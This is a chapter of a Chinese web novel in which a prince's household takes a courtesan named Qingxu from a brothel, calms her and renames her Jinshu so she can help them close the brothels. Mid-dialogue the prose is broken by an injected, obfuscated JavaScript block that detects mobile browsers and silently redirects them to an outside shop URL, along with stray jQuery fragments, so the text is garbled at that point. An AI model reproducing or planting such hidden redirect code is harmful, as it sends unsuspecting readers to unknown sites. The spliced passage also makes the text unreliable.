“诶?那我呢?我能做些什么?”
慕衷情听秦澈一下子就安排好抢人事宜,立刻摩拳擦掌起来,想要自己也能帮上些什么。
秦澈略一沉吟:“你是女子,轻絮骤然被人劫持走,必然心生恐惧,说服她的事情,只能交给你。”
“嗯,没问题,我这人没武功,但有嘴。”慕衷情十分自信地说道。
讨论完毕,四人默不作声地离开花楼,秦澈与慕衷情先回王府,等着吴雨和吴雪的好消息。
看着吴雨和吴雪矫健的声音隐入小巷子里,慕衷情感慨道:“这年头,打个工可真不容易。”
秦澈见她又在说些奇奇怪怪的话,却没有询问,或许要是哪天慕衷情说的话他全能听懂,反倒是有问题了。
吴雨和吴雪的动作很快,他们刚到王府没多久,吴雨就扛着轻絮来了,一路上王府众人纷纷对他行注目礼。
吴雨把人带到秦澈的书房中:“王爷,人抢……带回来了,怕她喊叫,便打晕了。”
秦澈点点头:“多久能醒?”
“下手不重,应该不会超过半个时辰。”
“下去吧。”秦澈刚说完,又喊住他,“等等,你叫上吴雪,一起守在这里。”
慕衷情把人扶到座位上,捏了一把轻絮的脸,可真是满满的胶原蛋白。
“多好看的姑娘啊,怎么能便宜了那些猪头。”
秦澈失笑:“若她能帮我们,烟柳巷的信息或许能收集得更快些。”
慕衷情拍胸保证:“保证完成任务。”
不一会儿,吴雨便带着吴雪一起回到书房,静静地站在一旁,他们的神情都带着困惑,不知道自己为什么也要待在这书房里。
秦澈观察到他们的疑惑,主动解释道:“铲除烟柳巷的事情,我打算交给你们,今日轻絮所言,你们必须了如指掌,此事不仅要成,还要速成,不能给他们任何喘息的机会。”
人的欲望最难掌控,那些商贾士族早已习惯高高在上地享受,一旦被他们反应过来,反对之声与反扑之潮必然声势浩大。
“是。”两人立刻答道,对于他们来说,花楼的存在并不是什么稀罕事,他们不明白为何王爷和王妃要做这般吃力不讨好的事情,不过他们对秦澈忠心耿耿,哪怕想不明白,照办便是。
几人安静地等了一会儿后,轻絮悠悠醒转,她的记忆还停留在自己将要服侍客人的时候,一个陌生的男人突然跳窗进来,不由分说打晕了那名客人,说要带自己走,她害怕极了,生怕自己一出房间就要没了性命,刚想喊人来,就失去了意识。
一睁眼,她就发现自己到了一个完全陌生的房间。
轻絮吓得立刻往后一缩,她似乎想大叫,却又明白贸然出声可能会遭遇更可怕的事情。
“醒啦?别怕,先喝口水缓缓。”慕衷情就坐在她旁边,替她倒了杯温水。
轻絮不敢去接,她的目光一直落在吴雨的身上,满是害怕与警惕。
“那个什么,跟你解释一下先,这位叫吴雨,旁边的是他的兄弟吴雪,刚刚也是他们把你扛,咳救回来的。”慕衷情略过秦澈的介绍,想让轻絮先放松下来,“我们把你带回来,一是不想你继续沦落风尘,二是想请你帮一个忙。”
轻絮仔细打量着慕衷情,不确定地问:“你是女子?”
“聪明。”慕衷情朝她一笑,“我在台下还看了你们的花魁大选呢,若非如此,也不能恰好把你救出来。”
轻絮听到花魁二字,脸色一白:“你们为何要将我带到这里?若是被妈妈发现我没有侍候好客人,一定会打死我的!我要回去,我得回去!”
说着,轻絮起身想要逃离,慕衷情一把拉住她,将人按回到座位上,那杯没喝的茶水被泼到了轻絮的脸上。
慕衷情还是笑眯眯的样子:“现在能冷静下来好好聊聊了吗?”
轻絮僵住,觉得这房中唯一的女子也是如此可怕。
“轻絮是你的花名吧?你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057909|134766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原本姓什么,叫什么,还记得吗?”慕衷情见她如惊弓之鸟,便没有直接切入主题,慢慢问道。
轻絮摇摇头:“我自小便被卖进花楼,自有记忆以来,便一直学着读书识字,原本是要我学跳舞,后来发现我更为擅长琵琶,便一直学琵琶了。”
“我觉得轻絮这名字不够好听,也太轻,既然你已离开花楼,不如往后便改个名字吧?”慕衷情提议道,“你学过诗书,有没有什么喜欢的名字?”
轻絮看看慕衷情,又看看在附近的秦澈与吴雨吴雪,没有说话。
她仍然不相信,这些人是真的要救她。
慕衷情见她不说话,自顾自地继续往下说:“你更喜欢读书还是弹琵琶?或者还有什么想做却未做的事情?”
轻絮的双手不安地绞着衣裙,她这才发现自己身上不知何时多了一件深色的外袍,明显是一个男人的,她看向吴雨,对比他身旁的吴雪,确认是吴雨给她披上的。
她忽然安心了些,答道:“我喜欢读些前人的诗词佳句,我从前,是喜欢弹琵琶的。”
从前弹琵琶,不是为了卖笑和讨好,她可以专注于琵琶的技艺,可随着年岁渐长,她要学的就不是琵琶,而是如何通过弹琵琶,去讨好客人。
“明白,云中谁寄锦书来,雁字回时,月满西楼,不如往后就叫你锦书?你是一个我们偶然遇见的孤女,才不是什么花魁轻絮,你觉得如何?”
秦澈神色一动,又是一句他从未听过的词。
轻絮错愕地对上慕衷情明亮的双眸,仿佛慕衷情对她所说的,并不是换个名字那么简单,而是在邀请她“换个人生吧”,换一个不卖笑不卖身的人生吧。
她看着慕衷情的笑容,像是受了蛊惑一般不自觉地点了点头,轻声问了一句:“你呢?你叫什么?”
“慕衷情,仰慕的慕,互诉衷肠的衷,情深似海的情。”慕衷情用袖子替她擦了擦脸上的茶水,“那么现在,我想请你帮一个忙,可以吗?”